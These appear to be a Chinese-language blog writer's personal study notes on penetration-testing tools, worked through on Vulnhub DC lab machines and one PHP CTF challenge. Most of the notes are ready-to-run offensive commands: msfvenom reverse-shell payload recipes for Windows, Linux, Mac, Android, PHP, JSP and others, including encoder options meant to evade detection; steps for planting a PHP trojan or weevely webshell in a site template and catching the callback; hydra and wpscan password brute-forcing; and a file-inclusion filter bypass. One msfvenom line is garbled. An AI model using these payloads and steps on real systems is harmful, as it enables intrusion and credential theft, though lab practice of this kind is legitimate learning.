常用工具的使用

记性不好记录一下

常用工具的使用

1)msf

(1)msf基本使用

一个漏洞利用框架,对计算机软件漏洞进行攻击

这里以vulnhub dc1为例

终端输入msfconsole,进入msf界面,或者菜单也可以打开

image-20220830094506049

1
2
输入search drupal,找一下有没有drupal可以利用的脚本
/*对于其他命令,可以用help查询*/

image-20220830094939297

这里可以选择不同的脚本,下面以编号1的脚本为例,其他的应该也可以

1
输入use 1,进入编号1脚本的运行环境

image-20220830095106784

1
输入show options,查看脚本运行的所需要配置的项目

image-20220830105519336

Required是要求填的,yes是必填项,no是非必填项

这里的RHOSTS没有填,这里是要求填入target hosts也就是目标地址,也就是我们靶机的地址

1
输入set RHOSTS 192.168.133.136

image-20220830110143969

1
再输入run,运行脚本

image-20220830110303594

1
输入shell,进入shell

image-20220830110551273

1
输入whoami,查看当前的权限

image-20220830110648417

发现是个低权限的账号

1
输入ls,可以查看到当前的目录文件

image-20220830110825217

但是一堆东西挤在一起,还是有些不太方便

输入下方指令,利用python进入交互式shell【固定姿势,要记住】

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20220830110907408

(2)msf后门生成模块

普通生成

1
2
3
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件

msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

编码生成

1
2
3
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

*以DC-3举个例子

1
2
输入msfvenom -p php/meterpreter/reverse_tcp LHOST=kali的ip LPORT=4444 -f raw > shell.php
//注意,LHOST是kali的ip

image-20220903222910397

1
输入ls

image-20220903144052531

发现目录下生成了 shell.php

image-20220903223007361

然后在网站新建一个php文件

image-20220903221140645

然后把木马内容导入进去

image-20220903223039265

然后保存一下

image-20220903221238918

然后试试能不能访问木马

然后我们就需要找到木马文件路径,进行访问看看,能不能访问成功

因为我们文件是在/templates/protostar/less/下上传的,所以访问

1
http://192.168.133.139/templates/protostar/less/1.php

image-20220903221336853

看到/*,看来是可以成功访问

msf利用木马

然后用msf进行利用

1
先输入msfconsole,进入msf
1
2
3
4
5
然后输入
use exploit/multi/handler

set payload php/meterpreter/reverse_tcp
进入我们利用msf制作的木马利用环境

image-20220903220102252

1
2
输入show options
看看需要填写什么

image-20220903220250819

看到LHOST监听的ip没有填写

1
输入set LHOST 192.168.133.140 //kaliip
1
输入run,运行,会卡住

这里就是在等待我们的木马运行,我们只需要刷新一下我们之前访问木马的网页

1
http://192.168.133.139/templates/protostar/1.php

image-20220903223414089

后面操作不赘述

msfvenom —list archs

#查看支持的系统架构

1
aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms

#查看支持系统平台

1
aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows
1
2
3
4
5
6
7
msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的输出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的编码器

常见生成格式

1、 Windows
1
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
2、Linux
1
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elfxxxxxxxxxx msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf1
3、Mac
1
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4、Android
1
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
5、Aspx
1
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
6、JSP
1
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
7、PHP
1
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
8、BASH
1
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
9、Python
1
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py

Msfvenom常用命令参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
-l, --list <type> 
# 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p, --payload <payload>
# 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--list-options
# 列出--payload <value> 的标准,高级和规避选项
-f, --format <format>
# 指定 Payload 的输出格式(使用 --list formats 列出)
-e, --encoder <encoder>
# 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name <value>
# 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
--smallest
# 使用所有可用的编码器生成最小的payload
--encrypt <value>
# 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
--encrypt-key <value>
# 用于加密的密钥
--encrypt-iv <value>
# 加密的初始化向量
-a, --arch <arch>
# 指定目标系统架构(使用 --list archs 列出)
--platform <platform>
# 指定目标系统平台 (使用 --list platforms 列出)
-o, --out <path>
# 保存payload文件
-b, --bad-chars <list>
# 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'
-n, --nopsled <length>
# 指定 nop 在 payload 中的数量
-s, --space <length>
# 设置未经编码的 Payload 的最大长度
--encoder-space <length>
# 编码后的 Payload 的最大长度
-i, --iterations <count>
# 设置 Payload 的编码次数
-c, --add-code <path>
# 指定包含一个额外的win32 shellcode文件
-x, --template <path>
# 指定一个特定的可执行文件作为模板
-k, --keep
# 保护模板程序的功能,注入的payload作为一个新的进程运行
-v, --var-name <value>
# 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout <second>
# 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
-h, --help
# 帮助

2)hydra

hydra是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具

1.爆破用户密码

这里以vulnhub dc1为例

用了hydra[海德拉]工具,对flag4用户进行爆破

1
2
3
4
5
6
7
8
9
hydra -l flag4 -p /usr/share/wordlists/rockyou.txt.gz 192.168.133.136 -vV -f


-l是指定用户或指定包含多个用户的文件,-p是指定密码或指定包含多个密码的文件,ssh就是
用户所在的网站

上面-p的文件是kali自带的密码包,当然也可以用其他的

-s 端口

image-20220830211739164

这里就看到flag4用户的密码被爆破出来,是orange

然后用ssh连接

1
2
3
输入ssh flag4@192.168.133.136
然后yes
然后输入密码:orange

image-20220830211817515

3)cewl

Cewl是一个通过指定url及深度,使用爬虫技术,生成字典的一个工具。Cewl是通过ruby编写,通过爬取网站并提取独立的单词保存为字典,可以和John the Ripper等工具配合使用。

主要还是根据网站自身的关键词,然后生成的字典,比如cewl,flag等等

这里以vulnhub dc2为例

1
2
3
-w等同于>   //写入
-m n //至少生成的长度为n,默认是3
-d x //生成更大的字典,默认x=2

我们用cewl试试生成字典

1
输入cewl http://dc-2/ >pass.txt

image-20220831221031390

目录下就会生成pass.txt

1
输入cat pass.txt,查看内容

image-20220831221151099

发现是生成对应网站的密码字典

4)wpscan

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写 能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞

这里以vulnhub dc2为例

1
2
3
4
5
6
7
wpscan -url http://dc-2 -e u

-e u //枚举用户信息

wpscan -url xx -P xx -U xx
-P passwdspath //密码字典路径,或者直接写
-U userspath //用户名字典路径,或者直接写

于是我们就可以针对性对wordpress进行渗透看看,可不可以利用一下

1
输入wpscan --url http://dc-2 -e u

image-20220831223359965

然后往下看用户名

image-20220831223432802

发现有三个,然后可以复制下来,弄一个用户名的文本,和之前的pass.txt这个密码本一样

1
输入vi un.txt,把admin jerry tom复制进去

image-20220831223714569

然后就可以结合我们的密码文本和用户名文本,利用wpscan这个工具,进行爆破操作了

1
输入wpscan --url http://dc-2 -P pass.txt -U un.txt

image-20220831223950721

稍微等一会

image-20220831224205560

admin用户密码没有找到,应该是最高权限的账号

但是jerry和tom用户的密码知道了

5)John

John是一个破解系统密码的工具

使用很简单

1
2
3
john passwd.txt //这里是直接利用john自带的密码本,后面接的是需要爆破的密码文本文件

john --wordlist=字典路径 passwd.txt //这里是指定密码本,后面接的是需要爆破的密码文本文件
1
john --show passwd.txt //这是查看该密码文本中已经被爆破成功过的密码

image-20220903140126704

就可以看到明文为snoopy

6)weevely

Weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式 构建,可以算作是linux下的一款php菜刀替代工具

生成Shell

1
2
3
4
weevely generate  <文件名>


weevely generate 123456 shell.php

把生成的内容,复制到我们创建的789.php文件里,和前面两个方法步骤一样

利用触发shell

1
2
3
weevely http://192.168.133.139/templates/protostar/789.php 123456

python -m http.server 9999

image-20220904133118746

成功进入shell

7)whatweb

1
2
whatweb http://192.168.220.156/ >> whatweb.txt
//把网站的框架信息导入到文本whatweb.txt中

这个工具主要是查看网站的框架,和wapplzer类似

image-20221103104233193

8)knockd

在1920年代,当禁令如火如荼地进行时,如果您想进入说话状态,就必须知道秘密的敲门声,并正确地敲打它才能进入内部。

端口敲门是现代的等同物。 如果您希望人们可以访问您计算机上的服务,但又不想将防火墙打开到Internet,则可以使用端口断开功能。
它允许您关闭防火墙上允许传入连接的端口,并在进行预先安排的连接尝试方式时自动打开它们。 连接尝试的顺序充当秘密敲门。 另一个秘密的敲门声关闭了港口。

什么意思呢,也就是说,我先关闭了一个端口

但是呢,我为了我想要的人访问它,我写了一个敲门的顺序(也就是访问端口的顺序)

1
顺序在/etc/knockd.conf

比如,

我关闭了

1
22/ssh端口

我写了一个顺序

1
7893,6452,2412

这是三个端口

我为什么为你打开22端口,原因是因为你敲对了顺序

这里就涉及敲门的方法

1> knock命令

1
knock 192.168.1.8 7469 8475 9842 //192.168.1.8为目标ip

2>nc命令

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc -v dc9 7469
10.0.0.14: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.0.14] 7469 (?) : Connection refused

$ nc -v dc9 8475
10.0.0.14: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.0.14] 8475 (?) : Connection refused

$ nc -v dc9 9842
10.0.0.14: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.0.14] 9842 (?) : Connection refused

也就是利用nc命令三次访问这3个端口

最后用nmap扫一下就看见22端口打开了

9)openssl

SSL 简介

按照我的理解来解释下,

为了让网络通信更安全,需要认证和加密,认证是说明你是要找的人,加密是为了让截获中间报文第三者无法得到消息内容。

为此有人设计了SSL,即套接字上的安全层,简单来说就是在TCP之上做一个安全通信层,HTTP on SSL 即是HTTPs,

现在几乎所有的银行网站访问都是基于HTTPS协议的。
认证是通过证书+非对称加密算法来解决的

openssl可以实现:秘钥证书管理、对称加密和非对称加密。

举一个例子

1
2
3
4
5
6
7
8
9
openssl passwd -1 -salt salt password
==>
$1$salt$qJH7.N4xYta3aEG/dfqo/0

-1使用什么哈希算法。在我们的用例中,这无关紧要,因此我们使用 MD5,在现实世界的 PT 中应该避免使用 MD5,因为它不安全。

-salt salt用作盐的字符串。我选择字符串盐

password我们想使用的明文密码

10)gobuster

爆破目录

1
gobuster dir -w common.txt -u url

爆破子域名

1
gobuster vhost -w subdomains-top1million-5000.txt -u url

11)seed工具php_mt_seed

这里以一道题为例子讲解这个工具的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!

搜索这两个函数

1
2
mt_scrand()
mt_rand()

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。

我们来写段代码。

1
2
3
4
<?php  
mt_srand(12345);
echo mt_rand()."<br/>";
?>

我们访问,输出162946439

现在代码改为

1
2
3
4
5
6
7
8
<?php  
mt_srand(12345);
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
?>

我们再次访问:

162946439

247161732

1463094264

1878061366

394962642

发现162946439又出现了

所以可以推断出随机数其实是可预测的,

它以一种线性的方式生成

知道种子和一组伪随机数不是就可以推y(伪随机数了吗),当然实际上更复杂肯定。

我知道种子后,可以确定你输出伪随机数的序列。
知道你的随机数序列,可以确定你的种子。

在我们的例题中,我们并不知道我们的种子是多少

但是它给出了我们种子的第一个随机数1219893521

这个时候想要拿到种子的值,就需要大量反向的演算推导了

这个过程很庞大,所以这里就用到了工具【脚本】php_mt_seed

1
time ./php_mt_seed 第一个随机数  

image-20221120141340099

于是我们就得到了我们的seed

1145146

再分析源码

1
2
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){

这里在 echo处已经随机了一次,所以在底下比较的时候就算第二个随机数进行强类型比较

于是

1
2
3
4
5
6
7
<?php 
mt_srand("1145146");
echo mt_rand();
echo '<br>';
echo mt_rand();

==>1219893521<br>1202031004

得到guess参数的值1202031004

对于最后对file文件包含语句的正则匹配绕过

1
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file']))

大概就是不能出现base,然后参数中间要包含/NewStar/这一段

1
?file=php://filter